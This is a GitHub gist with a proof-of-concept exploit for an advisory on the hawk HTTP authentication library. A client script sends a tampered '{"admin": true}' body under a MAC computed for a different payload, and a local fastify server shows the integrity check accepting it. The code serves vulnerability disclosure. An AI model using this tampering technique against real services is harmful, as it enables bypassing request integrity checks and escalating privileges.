Last active
July 24, 2023 01:30
-
-
Save chrisdlangton/cd32ad083294c56c509828a7b9f7e90e to your computer and use it in GitHub Desktop.
PoC for GHSA-mrcf-5cch-47mc mozilla/hawk
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Gist: https://gist.github.com/chrisdlangton/cd32ad083294c56c509828a7b9f7e90e | |
* Advisory: https://github.com/chrisdlangton/hawk/security/advisories/GHSA-mrcf-5cch-47mc | |
*/ | |
const hawk = require('hawk') | |
const credentials = { | |
id: 'dh37fgj492je', | |
key: 'werxhqb98rpaxn39848xrunpaw3489ruxnpa98w4rxn', | |
algorithm: 'sha256' | |
} | |
const host = "127.0.0.1" | |
const port = "3000" | |
const target = `http://${host}:${port}` | |
async function send(method, uri, body = null, contentType = "text/plain") { | |
// modify the payload to simulate a MitM | |
let bad_body, intended_body; | |
if (body && typeof body !== 'string') { | |
bad_body = `{"admin": true}` | |
intended_body = JSON.stringify(body) | |
} | |
const timestamp = Math.floor(hawk.utils.now() / 1000) | |
let headerOptions = { credentials, contentType, timestamp } | |
if (intended_body) { | |
headerOptions.payload = intended_body | |
} | |
const authz = hawk.client.header(`${target}${uri}`, method, headerOptions) // will be sent | |
if (authz.artifacts.hash) { | |
console.log(`payload hash that will be sent ${authz.artifacts.hash}`) | |
const example_what_should_be = hawk.client.header(`${target}/${uri}`, method, { credentials, payload: bad_body, contentType, timestamp }) | |
console.log(`payload hash should be sent for modified payload ${example_what_should_be.artifacts.hash}`) | |
// example_what_should_be is discarded, was only used to demonstrate the changed hash | |
} | |
const mode = "no-cors" | |
const headers = new Headers() | |
headers.append("Content-Type", contentType) | |
console.log(authz.header) | |
headers.append("Authorization", authz.header) // notice we send the hash from intended_body | |
const options = { method, headers, mode, body: bad_body } // notice we send the bad_body with hash for intended_body | |
return await fetch(`${target}${uri}`, options).then(response => { | |
console.log(response.status, response.statusText) | |
return response.text() | |
}) | |
} | |
const data = { | |
role: 'Guest', | |
userId: '8cd0ae55-115a-4154-8a01-91ffbb6753f9' | |
} | |
send("GET", "/verify").then(console.log).catch(console.log) | |
send("POST", "/will-not-fail-when-payload-tampered", data, "application/json").then(console.log).catch(console.log) | |
send("POST", "/should-fail-when-payload-tampered", data, "application/json").then(console.log).catch(console.log) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Run with: node api.js | |
*/ | |
const hawk = require('hawk') | |
const fastify = require('fastify')() | |
const Cryptiles = require('@hapi/cryptiles'); | |
const timestampSkewSec = 60 | |
const credentials = { | |
id: 'dh37fgj492je', | |
key: 'werxhqb98rpaxn39848xrunpaw3489ruxnpa98w4rxn', | |
algorithm: 'sha256' | |
} | |
fastify.post('/will-not-fail-when-payload-tampered', (req, reply) => { | |
console.log(req.headers.authorization) | |
try { | |
const host = req.hostname.split(':')[0] | |
const port = Number(req.hostname.split(':')[1]) | |
const attributes = hawk.utils.parseAuthorizationHeader(req.headers.authorization); | |
const artifacts = { | |
method: req.method, | |
host, | |
port, | |
resource: req.url, | |
ts: attributes.ts, | |
nonce: attributes.nonce, | |
hash: attributes.hash, | |
ext: attributes.ext, | |
app: attributes.app, | |
dlg: attributes.dlg, | |
mac: attributes.mac, | |
id: attributes.id | |
}; | |
console.log('attributes', attributes) | |
console.log('artifacts', artifacts) | |
// calculateMac is broken; compares client provided values with client payload hash | |
// i.e. compares itself with itself | |
const mac = hawk.crypto.calculateMac('header', credentials, artifacts); | |
if (!Cryptiles.fixedTimeComparison(mac, attributes.mac)) { | |
reply.code(403) | |
reply.send(`${mac} !== ${attributes.mac}`); | |
return | |
} | |
reply.send(artifacts); | |
} catch (err) { | |
reply.code(401) | |
reply.send(err); | |
} | |
}); | |
fastify.post('/should-fail-when-payload-tampered', async(req, reply) => { | |
console.log(req.headers.authorization) | |
try { | |
const payload = req.body.raw | |
const host = req.hostname.split(':')[0] | |
const port = Number(req.hostname.split(':')[1]) | |
const res = await hawk.server.authenticate(req, () => credentials, { payload, host, port, timestampSkewSec }) | |
console.log('result artifacts', res.artifacts) | |
if (!res) { | |
reply.code(403) | |
} | |
reply.send(res.artifacts); | |
} catch (err) { | |
console.log(err); | |
reply.code(401) | |
reply.send(err) | |
/** | |
* This fails but before it fails it will incorrectly calculate mac using | |
* client provided payload hash, and that will PASS which it a security issue. | |
* | |
* The only reason it will return Unauthorized when payload is tampered even after | |
* it will PASS the mac check, is because luckily there is a final 'input validation' | |
* that catches the payload hash mis-match. BUT it did it using input validation only, | |
* for it to be correct it should FAIL earlier during mac calculation BECAUSE | |
* the mac signature is in fact supposed to have been INVALID but was incorrectly | |
* checked as VALID | |
*/ | |
} | |
}); | |
fastify.get('/verify', async (req, reply) => { | |
try { | |
const res = await hawk.server.authenticate(req, () => credentials, { timestampSkewSec }) | |
console.log('result artifacts', res.artifacts) | |
if (!res) { | |
reply.code(403) | |
reply.send(res.artifacts); | |
} | |
} catch (err) { | |
console.log(err); | |
reply.code(401) | |
reply.send(err) | |
} | |
}); | |
fastify.addContentTypeParser( | |
"application/json", | |
{ parseAs: "string" }, | |
function (_, body, done) { | |
try { | |
let newBody = { | |
raw: body, | |
json: JSON.parse(body), | |
}; | |
done(null, newBody); | |
} catch (error) { | |
error.statusCode = 400; | |
done(error, undefined); | |
} | |
} | |
); | |
const start = async () => { | |
try { | |
await fastify.listen({ port: 3000 }); | |
} catch (err) { | |
process.exit(1) | |
} | |
}; | |
start() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment